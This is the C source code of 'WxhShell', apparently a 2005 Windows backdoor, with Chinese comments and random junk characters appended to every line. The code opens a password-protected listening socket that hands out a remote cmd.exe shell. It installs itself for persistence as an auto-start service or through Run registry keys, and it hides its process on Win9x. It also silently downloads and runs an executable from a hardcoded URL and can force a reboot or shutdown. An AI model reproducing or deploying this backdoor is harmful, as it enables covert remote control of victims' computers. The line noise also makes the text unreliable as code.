    if(Boot(SHUTDOWN)) F2<Q~gQ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3|G~_'`RLt  
    else { 9<P%?Q  
    closesocket(wsh); J?Q@f  
    ExitThread(0); S}0-2T[  
    } &A/b9GW^-  
    break; 7OXRR)]V  
    } =*+f2  
  // 获取shell Iw#[K  
  case 's': { > 9z-/e  
    CmdShell(wsh); vKdS1Dn1  
    closesocket(wsh); g?}h*~<b  
    ExitThread(0); TBF{@{.d  
    break; ,1<6=vL  
  } OzRo  
  // 退出 w+!V,lU"^  
  case 'x': { :l Z\=2D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "av/a   
    CloseIt(wsh); e9S*^2;  
    break; \fUVWXv  
    } B"*PBJuOA  
  // 离开 ga;t`5+d  
  case 'q': { F60m]NUM)c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7pep\  
    closesocket(wsh); }PDtx:T-  
    WSACleanup(); AtAu$"ue  
    exit(1); 6*>vie  
    break; q %tq9%  
        } ?=kH}'igq  
  } 7Ot&]M  
  } ?G&J_L=@Y  
Dp^=%F{t  
  // 提示信息 J]48th0,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t0:~BYXu  
} L/bvM?B^  
  } Z%3)w.  
L!ms{0rJ  
  return; * "?,.  
} OMYbCy^  
NW21{}=4  
// shell模块句柄 )B~{G\jS  
int CmdShell(SOCKET sock) f|s,%AU"i  
{ ^QHgc_oDm  
STARTUPINFO si; pMUUF5  
ZeroMemory(&si,sizeof(si)); y=SpIbn{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pm=s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UK@hnQU8`  
PROCESS_INFORMATION ProcessInfo; EW]8k@&g  
char cmdline[]="cmd"; 6Ol)SQE,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !@+4&B=  
  return 0; ~_-+Q=3  
} w0<1=;_%  
=1O;,8`  
// 自身启动模式 ;1TQr3w  
int StartFromService(void) O4a~(*f  
{ a][Tb0Ox  
typedef struct [Mv'*.7  
{ poqNiOm4%  
  DWORD ExitStatus; HGj[\kU~  
  DWORD PebBaseAddress; ?#ywUEY* i  
  DWORD AffinityMask; $V_w4!:Q  
  DWORD BasePriority; "*d%el\63  
  ULONG UniqueProcessId; %]F{aR  
  ULONG InheritedFromUniqueProcessId; /KO2y0`  
}   PROCESS_BASIC_INFORMATION; ?i~mt'O  
7~D5Gy  
PROCNTQSIP NtQueryInformationProcess; x:]_z.5  
f~p[izt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bD 1IY1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @_;vE(!5  
JVPLE*T  
  HANDLE             hProcess; OF! n}.O(  
  PROCESS_BASIC_INFORMATION pbi; :%zAX  
kH62#[J)yM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  ~}K$z  
  if(NULL == hInst ) return 0; >lO]/3j1  
P2U[PO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?V)M!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TP=#U^g*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Lq.J`|+  
~llw_ w  
  if (!NtQueryInformationProcess) return 0; %b ^.Gw\L  
xw1n;IO4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U,~Z2L  
  if(!hProcess) return 0; R&L^+?  
&=-{adm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +C=^,B!,  
1-pxM~Y  
  CloseHandle(hProcess); tW3Nry  
o{K#LP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1tCe#*|95  
if(hProcess==NULL) return 0; nqib`U@"  
~_4$|WKl  
HMODULE hMod; {'f=*vMI  
char procName[255]; MrS~u  
unsigned long cbNeeded; l;;"v) C8  
r@H7J 5<Y-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cbX  <  
KMV&c  
  CloseHandle(hProcess); j"P}Wn  
4Mj cx.21  
if(strstr(procName,"services")) return 1; // 以服务启动 -[5yp 2F-{  
g; ZVoD  
  return 0; // 注册表启动 m<:g\_<  
} J|WkPv2  
Uv=hxV[7y  
// 主模块 |-vn,zpe  
int StartWxhshell(LPSTR lpCmdLine) f9b[0L  
{ X&|y|  
  SOCKET wsl; R94 ID@LF  
BOOL val=TRUE; C;eM:v0A[  
  int port=0; roWg~U(S  
  struct sockaddr_in door; o~p%ODH  
6^Ax3# q  
  if(wscfg.ws_autoins) Install(); f}zv@6#&  
,Je9]XT  
port=atoi(lpCmdLine); Cn8w}) B  
(>gHfC>(lq  
if(port<=0) port=wscfg.ws_port; dWDf(SS  
}!5+G:JAh  
  WSADATA data; ]1i1_AR'`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ':?MFkYC  
=:7OS>x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &^b mZj!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $N17GqoC  
  door.sin_family = AF_INET; c UHKE\F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B pl(s+  
  door.sin_port = htons(port); (n~GKcA  
J~1 =?</  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aEC&#Q(]q  
closesocket(wsl); L[p[m~HjG^  
return 1; Eza B}BLQ9  
} CB%O8d #  
;,jms~ik  
  if(listen(wsl,2) == INVALID_SOCKET) { $@4(Lq1.  
closesocket(wsl); uSn<]OrZo`  
return 1; <S`N9a  
} $_0~Jzt,  
  Wxhshell(wsl); K6; sxF  
  WSACleanup(); ; Uf]-uS  
>KnXj7  
return 0; #~@Cl9[)D  
<+${gu?^  
} @m(ja@YC  
;kiL`K  
// 以NT服务方式启动 5o R/Q|^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `F TA{ba  
{ q.g0Oz@ z  
DWORD   status = 0; aYPD4yX"/  
  DWORD   specificError = 0xfffffff; H+2m  
v`KYhqTUl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \>GHc}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p7d[)* L>C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *^ -~J/  
  serviceStatus.dwWin32ExitCode     = 0; n*GsM6Y&  
  serviceStatus.dwServiceSpecificExitCode = 0; bpWEF b'f  
  serviceStatus.dwCheckPoint       = 0; BF(.^oh"n0  
  serviceStatus.dwWaitHint       = 0; Lb%Wz*Fa%!  
uS,XQy2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VsMTzGr  
  if (hServiceStatusHandle==0) return; ]2o?Gnn@  
zz~AoX7V6  
status = GetLastError(); B&k"B?9mL  
  if (status!=NO_ERROR) /qX=rlQ/n  
{ eZ[O:Wvk:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~xaPq=AH  
    serviceStatus.dwCheckPoint       = 0; o+T %n1$+V  
    serviceStatus.dwWaitHint       = 0; NT<> LWo  
    serviceStatus.dwWin32ExitCode     = status; is [p7-  
    serviceStatus.dwServiceSpecificExitCode = specificError; WT9 k85hqj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jV!9IK;HA.  
    return; %nkP?gn"a  
  } n%Gk {h5  
i*g>j <`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1'>wrGr  
  serviceStatus.dwCheckPoint       = 0;  b"C1  
  serviceStatus.dwWaitHint       = 0; ?#rejA:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^;]Q,*Q  
} ct#3*]  
LU7d\Ch  
// 处理NT服务事件,比如:启动、停止 z7'C;I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \ZPmPu9^(  
{ }Kc03Ue`%e  
switch(fdwControl) 8LM 91  
{ @mB*fl?-  
case SERVICE_CONTROL_STOP: Ps!~miN|>  
  serviceStatus.dwWin32ExitCode = 0; eL7\})!W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +Tug.[A  
  serviceStatus.dwCheckPoint   = 0; x^ruPiH  
  serviceStatus.dwWaitHint     = 0; 0X"D!G):  
  { [b<AQFh<c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bzt(;>_8  
  } K_X10/#b&  
  return; Pa-p9]gq  
case SERVICE_CONTROL_PAUSE: Lupug"p0   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3HP o*~"]  
  break; {x#I&ra  
case SERVICE_CONTROL_CONTINUE: 6+hx64 =  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2,,t+8"`  
  break; hs5aIJ  
case SERVICE_CONTROL_INTERROGATE: HMymoh$Q  
  break; WG0Ne;Ho  
}; fxKhe[;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mlmp'f  
} (dh{Gk4=+  
{!`0i  
// 标准应用程序主函数 vdLBf+Zi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o2C{V1nB  
{ %kRQ9I".  
)Kw Gb&l&  
// 获取操作系统版本 LyB &u( )  
OsIsNt=GetOsVer(); ^t{2k[@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .0b$mSV[  
9+o`/lk1  
  // 从命令行安装 .7|kxJq  
  if(strpbrk(lpCmdLine,"iI")) Install(); #o]/&T=N=  
X  !vBD  
  // 下载执行文件 l&f"qF?  
if(wscfg.ws_downexe) { '4""Gz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0$~zeG"  
  WinExec(wscfg.ws_filenam,SW_HIDE); S?k G|y  
} C;C= g1I}  
TZ2-%k#  
if(!OsIsNt) { muc>4!Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pq@%MF]5  
HideProc(); Av#_cL  
StartWxhshell(lpCmdLine); u\9t+wi}<  
} `(rnD  
else XDWR ]  
  if(StartFromService()) fi6i{(K  
  // 以服务方式启动 O_u2V'jy9  
  StartServiceCtrlDispatcher(DispatchTable); _4]GP3`  
else -J$,W`#z  
  // 普通方式启动 ~x:B@Ow  
  StartWxhshell(lpCmdLine); CE'd`_;HLn  
>8*J ;(:W  
return 0; A+:X  
} !X5~!b^*  
X{j`H\'L  
t%`GXJb  
t[ Zoe+&  
=========================================== {|;5P.,l  
,W!v0*uxp&  
>*hY1@N1  
X<OOgC  
ve [*t`  
GRt1]%l#$  
" U;l!.mze  
j~IX  
#include <stdio.h> /R2K3E#  
#include <string.h> W.fsW<{4j  
#include <windows.h> 1I{^]]qw  
#include <winsock2.h> B`Q~p 92  
#include <winsvc.h> 7NY9UQ  
#include <urlmon.h> t=IpV l!  
S8 {Sb>  
#pragma comment (lib, "Ws2_32.lib") Aw38T w  
#pragma comment (lib, "urlmon.lib") L1'#wH  
^+hqGu]M  
#define MAX_USER   100 // 最大客户端连接数 U=<d;2N#  
#define BUF_SOCK   200 // sock buffer @.PVUP  
#define KEY_BUFF   255 // 输入 buffer VOj{&O2c  
Z uh!{_x;  
#define REBOOT     0   // 重启 / p_mFA]@  
#define SHUTDOWN   1   // 关机 u0)~Im,X  
zO)>(E?  
#define DEF_PORT   5000 // 监听端口 YL$#6d  
/qYo*S_cG  
#define REG_LEN     16   // 注册表键长度 ubpVrvu@  
#define SVC_LEN     80   // NT服务名长度 <K$X>&Ts  
? x*Ve2+]  
// 从dll定义API 7~2/NU?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zr&~gXmVS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jP]I>Tq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3kl<~O|Fs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rM sd)  
[%8t~zg  
// wxhshell配置信息 V8aLPJ0_  
struct WSCFG { ((2 g  
  int ws_port;         // 监听端口 h;^H*Y&`  
  char ws_passstr[REG_LEN]; // 口令 2W}f|\8MX  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3M;[.b  
  char ws_regname[REG_LEN]; // 注册表键名 FXHcy:)}G  
  char ws_svcname[REG_LEN]; // 服务名 {Q&@vbw'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zjzW;bo( d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eagl7'x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >O{[w'sWa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7lo`)3mB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k3-'!dW<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;oKN8vI#7  
:f~[tox  
}; IsaL+elq|  
9rB,7%@EL  
// default Wxhshell configuration AjTkQ)  
struct WSCFG wscfg={DEF_PORT, 44uM:;  
    "xuhuanlingzhe", #hA]r.  
    1, S690Y]:h$v  
    "Wxhshell", h\jV@g$  
    "Wxhshell", wTpjM@F?J|  
            "WxhShell Service", * 5H  
    "Wrsky Windows CmdShell Service", 7+,6 m!4  
    "Please Input Your Password: ", [>B`"nyNQ  
  1, qhKW6v  
  "http://www.wrsky.com/wxhshell.exe", 0I8w'/s_g9  
  "Wxhshell.exe" pwiXA{  
    }; =Me94w>G3X  
V/=NIeSE  
// 消息定义模块 8y<NT"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :GXD-6}^|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \m>mE/N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QbF!V%+a's  
char *msg_ws_ext="\n\rExit."; SMMV$;O{9  
char *msg_ws_end="\n\rQuit."; DNP %]{J  
char *msg_ws_boot="\n\rReboot..."; |C\%H R  
char *msg_ws_poff="\n\rShutdown..."; zyznFiE  
char *msg_ws_down="\n\rSave to "; v4?qI >/  
"kLu]M<  
char *msg_ws_err="\n\rErr!"; '|zkRdB*Lq  
char *msg_ws_ok="\n\rOK!"; 's.cwB: #  
7X Z5CX&  
char ExeFile[MAX_PATH]; yFIB/ln:  
int nUser = 0; ?,_$;g  
HANDLE handles[MAX_USER]; FmRCTH  
int OsIsNt; 8{m5P8w'  
1eg/<4]hA  
SERVICE_STATUS       serviceStatus; CXb-{|I}d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -,M*j|   
M^i^_}~S;  
// 函数声明 _I("k:E7  
int Install(void); 52*9q!  
int Uninstall(void); EJdl%j  
int DownloadFile(char *sURL, SOCKET wsh); #HMJBQ4v#  
int Boot(int flag); X1 A~#w>  
void HideProc(void); 9@nDXZP Y&  
int GetOsVer(void); QY]^^f  
int Wxhshell(SOCKET wsl); 'T(7EL3$}  
void TalkWithClient(void *cs); !+& Rn\e%7  
int CmdShell(SOCKET sock); Z!@<[Vo6  
int StartFromService(void); X~aD\%kC7  
int StartWxhshell(LPSTR lpCmdLine); o\_@4hXf  
X*Ibk-PUM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *, /ADtL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?w{lC,  
 aOS:rC  
// 数据结构和表定义 + _=&7  
SERVICE_TABLE_ENTRY DispatchTable[] = $ekB+ t:cj  
{ ?2Q9z-$  
{wscfg.ws_svcname, NTServiceMain}, tBtG- X2  
{NULL, NULL} &f}a`/{@  
}; ZnX]Q+w  
*W'F 6Hpu  
// 自我安装 -h5yg`+1N\  
int Install(void) Q(P'4XCm  
{ q/ x(:yol  
  char svExeFile[MAX_PATH]; z9@Tg= #i  
  HKEY key; .qjVw?E  
  strcpy(svExeFile,ExeFile); s 0}OsHAj  
@yBg)1AL  
// 如果是win9x系统,修改注册表设为自启动 &3 QdQ n,  
if(!OsIsNt) { n*tT <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  2 EG`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *O>OHX  
  RegCloseKey(key); n:hHm,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~! *xi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); < a g|#  
  RegCloseKey(key); M;BDo(1  
  return 0; 9uV'# sR  
    } +- ~:E_G  
  } WaU+ZgDrG  
} W`baD!*  
else { &kR+7  
taS2b#6\+  
// 如果是NT以上系统,安装为系统服务 BPp`r_m8w}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W/(D"[:l%  
if (schSCManager!=0) 3Un{Q~6h  
{ d$>TC(E=t  
  SC_HANDLE schService = CreateService YCJ6an  
  ( rJ LlDKP-(  
  schSCManager, }GIwYh/  
  wscfg.ws_svcname, UL81x72O  
  wscfg.ws_svcdisp, mv7><C  
  SERVICE_ALL_ACCESS, OnNWci|7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #~A(%a  
  SERVICE_AUTO_START, KeU|E<|!  
  SERVICE_ERROR_NORMAL, ,o $F~KPu  
  svExeFile, kz|2PP  
  NULL, 8p4J7 -  
  NULL, <a)B5B>  
  NULL, "}_b,5lkGK  
  NULL, X^!n'$^u  
  NULL {1RI!#[\  
  ); ff.(X!  
  if (schService!=0) )E--E+j  
  { R,mOV8y"W[  
  CloseServiceHandle(schService); Fai_v{&?  
  CloseServiceHandle(schSCManager); 72hN%l   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d|GQZAEJEt  
  strcat(svExeFile,wscfg.ws_svcname); (w31W[V'#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gp0H[-oF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bRSE"B  
  RegCloseKey(key);  U 6((  
  return 0; \Tf$i(0q  
    } t' )47k\  
  } i$~2pr  
  CloseServiceHandle(schSCManager); N=1zhI:VaQ  
} 'H"wu /#  
} P5u Y1(  
dGxk ql  
return 1; )tH.P: 1~,  
} mR3)$!  
l@ +lUx8  
// 自我卸载 %4F Q~  
int Uninstall(void) 4CO"> :  
{ hu?Q,[+o  
  HKEY key; z >EOQe  
tDWW 4H  
if(!OsIsNt) { kq;1Ax0 {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P}So>P~2  
  RegDeleteValue(key,wscfg.ws_regname); |Ai/q6u  
  RegCloseKey(key); (0L7Ivg<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3NI3b-7  
  RegDeleteValue(key,wscfg.ws_regname); pkW }\r  
  RegCloseKey(key); 3V)ef$Y0  
  return 0; 8nt3S m  
  } {M`yYeo  
} 7Hghn"ol  
} "gm[q."n<  
else { ~0}gRpMW  
HGuU6@~hu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (HNxo{t  
if (schSCManager!=0) ?hqHTH:PU  
{ T:v.]0l~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #w%d  
  if (schService!=0) )7$1Da|.  
  { G.2\Sw  
  if(DeleteService(schService)!=0) { pbfIO47ZC  
  CloseServiceHandle(schService); f`r o {p  
  CloseServiceHandle(schSCManager); [I*)H7pt}  
  return 0; h |Ofi  
  } gMN>`Z`fV  
  CloseServiceHandle(schService); Rm@#GP`  
  } *QKxrg  
  CloseServiceHandle(schSCManager); ]!7 %)  
} ?]*WVjskE  
} 06ndW9>wD)  
0c2O'&$au  
return 1; U0%T<6*H  
} [/h3HyZ.  
9v\x&h  
// 从指定url下载文件 kJQH{n+)R  
int DownloadFile(char *sURL, SOCKET wsh) i D6f/|g  
{ -L4fp  
  HRESULT hr; Nk.m$  
char seps[]= "/"; 7a$K@iWU  
char *token; vbt0G-%Z  
char *file; <x QvS^|[  
char myURL[MAX_PATH]; zKh^BwhO|X  
char myFILE[MAX_PATH]; i-.]onR  
qPI\Y3ZU  
strcpy(myURL,sURL); s9[?{}gd  
  token=strtok(myURL,seps); R07]{  
  while(token!=NULL) cTC -cgp  
  { +8<|P&fH  
    file=token; FEC`dSTI  
  token=strtok(NULL,seps); ^T?zR7r  
  } KT5amct  
_xKIp>A  
GetCurrentDirectory(MAX_PATH,myFILE); 7+N0$0w%r  
strcat(myFILE, "\\"); U46qpb 7  
strcat(myFILE, file); a&^HvXO(>(  
  send(wsh,myFILE,strlen(myFILE),0); ro&/  
send(wsh,"...",3,0); a+HGlj 2>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EZ,Tc ;f=  
  if(hr==S_OK) 'CQ~ZV5  
return 0; yL2sce[  
else {GH0> 1&  
return 1; '99rXw  
Zz,j,w0 Z  
} CF,-l B  
#mIgk'kW<  
// 系统电源模块 Yvi.l6JL  
int Boot(int flag) O{vVW9Q  
{ JXx[e  
  HANDLE hToken; Mb!b0  
  TOKEN_PRIVILEGES tkp; OLH[F  
W u C2 LM  
  if(OsIsNt) { 8O[br@h:5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1>c^-"#e^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #QUQC2P(~  
    tkp.PrivilegeCount = 1; #&k`-@b5|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e/7rr~"|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;\'d9C  
if(flag==REBOOT) { 7 @W}>gnf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w@![rH6~F  
  return 0; `4SwdW n  
} n 3eLIA{  
else { ~=P#7l\o1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mm dQ\\  
  return 0; WMw|lV r  
} vVbBg; {  
  } A!^ d8#~.  
  else { @u>:(9bp  
if(flag==REBOOT) { V}Ok>6(~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U/#X,Bi~  
  return 0; wsKOafrV  
} gAudL)X  
else { qWdob>u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r!N> FE  
  return 0; C8Oh]JF4d  
} K^5f  
} H2jF=U"=  
 * Cj<Vy  
return 1; Z[ 53cVT^  
} LJgGX,Kp  
[mcER4]}  
// win9x进程隐藏模块 5y~ Srb?2  
void HideProc(void) qNuBK6E#4  
{ 20,}T)}Tm  
<WiyM[ ep  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1CR)1H  
  if ( hKernel != NULL ) F"^/R  
  { f-BPT2U+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T;M4NGmvd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); shZEE2Dr  
    FreeLibrary(hKernel); "$I8EW/1  
  } oazY?E]}3  
ysH'X95  
return; MqAN~<l [  
} 'PvOOhm,  
01 <Ti"  
// 获取操作系统版本 a7>^^?|  
int GetOsVer(void) =c ;.cW  
{ 8b[<:{[YB  
  OSVERSIONINFO winfo; Ods~tM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c }7gHud  
  GetVersionEx(&winfo); YXLZ2-%ohZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u.@B-Pf[Eo  
  return 1; x+bC\,q  
  else @@3%lr71   
  return 0; w }=LC#le  
} O~OM.:al&  
c6Z"6-}$  
// 客户端句柄模块 xUF5  
int Wxhshell(SOCKET wsl) ZA7b;{o [  
{ >sGiDK @  
  SOCKET wsh; "rnVPHnQR  
  struct sockaddr_in client; gl~9|$ivj>  
  DWORD myID; r'<!wp@  
,UNnz&H+f  
  while(nUser<MAX_USER) NtG^t}V  
{ -PCF Om"  
  int nSize=sizeof(client); #G]g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Oj>;[O"  
  if(wsh==INVALID_SOCKET) return 1; 2dCD.9s9~  
@M*oq2U;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f;%=S:3  
if(handles[nUser]==0) 3z0 %uY[e  
  closesocket(wsh); XI>HC'.0  
else $}JWJ\-]  
  nUser++; Y~B-dx'V  
  } d$HPpi1LL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r]deVd G  
l@5kw]6  
  return 0; MmQk@~  
} >ra)4huZ  
V X.9mt  
// 关闭 socket Aj*|r  
void CloseIt(SOCKET wsh) XC!Y {lp  
{ f_z]kA +H  
closesocket(wsh); !PfdY&.)  
nUser--; Y;{(?0 s  
ExitThread(0); Y?V.O  
} X- j@#Qb  
F):1@.S  
// 客户端请求句柄 ODxCD%L  
void TalkWithClient(void *cs) eyuQ}R  
{ (z:qj/|  
wln"g,ct  
  SOCKET wsh=(SOCKET)cs; 1b<[/g9  
  char pwd[SVC_LEN]; t+#vcg,G  
  char cmd[KEY_BUFF]; 1nR\ m+{  
char chr[1]; )C$pjjo/`  
int i,j; T*%O\&'r  
v+~O\v5Q  
  while (nUser < MAX_USER) { =J`M}BBx  
`h~-  
if(wscfg.ws_passstr) { bR<XQHl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Q7]1fRu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0*,] `A=  
  //ZeroMemory(pwd,KEY_BUFF); d^Rea8  
      i=0; m[nrr6 G"  
  while(i<SVC_LEN) { o|APsQE  
~?Zm3zOCc2  
  // 设置超时 |`'WEe2  
  fd_set FdRead; oml^f~pm  
  struct timeval TimeOut; #'97mg  
  FD_ZERO(&FdRead); c#Qlr{ES  
  FD_SET(wsh,&FdRead); A"6&   
  TimeOut.tv_sec=8; _2WW0  
  TimeOut.tv_usec=0; A$n:   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <m> m"|G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9h"3u;/,  
\.]C`ocD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HHL7z,%f  
  pwd=chr[0]; eyy%2> b  
  if(chr[0]==0xd || chr[0]==0xa) { '>GPk5Nq77  
  pwd=0; L|p+;ex  
  break; EUby QL  
  } E-deXY  
  i++; ,+v>(h>q  
    } ^;[^L=}8$  
825 QS`  
  // 如果是非法用户,关闭 socket gkDXt^Ob  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rQ(u@u;  
} C[CNJ66  
$ve*j=p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ft$!u-`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A]MX^eY  
M4e8PRlI  
while(1) { ,4r 4 <  
z8j7K'vV1  
  ZeroMemory(cmd,KEY_BUFF); PnH5[4&k  
L-Mf{z  
      // 自动支持客户端 telnet标准   ri49r*_1  
  j=0; 6('CB|ga  
  while(j<KEY_BUFF) { T2TWb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *9US>mVy  
  cmd[j]=chr[0]; |=[. _VH1  
  if(chr[0]==0xa || chr[0]==0xd) { @xr}(.  
  cmd[j]=0; jP.dQj^j&  
  break; G[]h1f!  
  } tlgg~MViS  
  j++; ^*F'[!. p  
    } 71Y3.1+  
_ Gkb[H&RZ  
  // 下载文件 ;Q<2Y#  
  if(strstr(cmd,"http://")) { v!#koqd1y.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D2f~*!vEnA  
  if(DownloadFile(cmd,wsh)) bp'\nso/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QwLSL<.  
  else |P-kyY34  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cA~bH 6  
  } /d> Jkv  
  else { dB8 e  
@&GY5<&b  
    switch(cmd[0]) { G@U}4' V9  
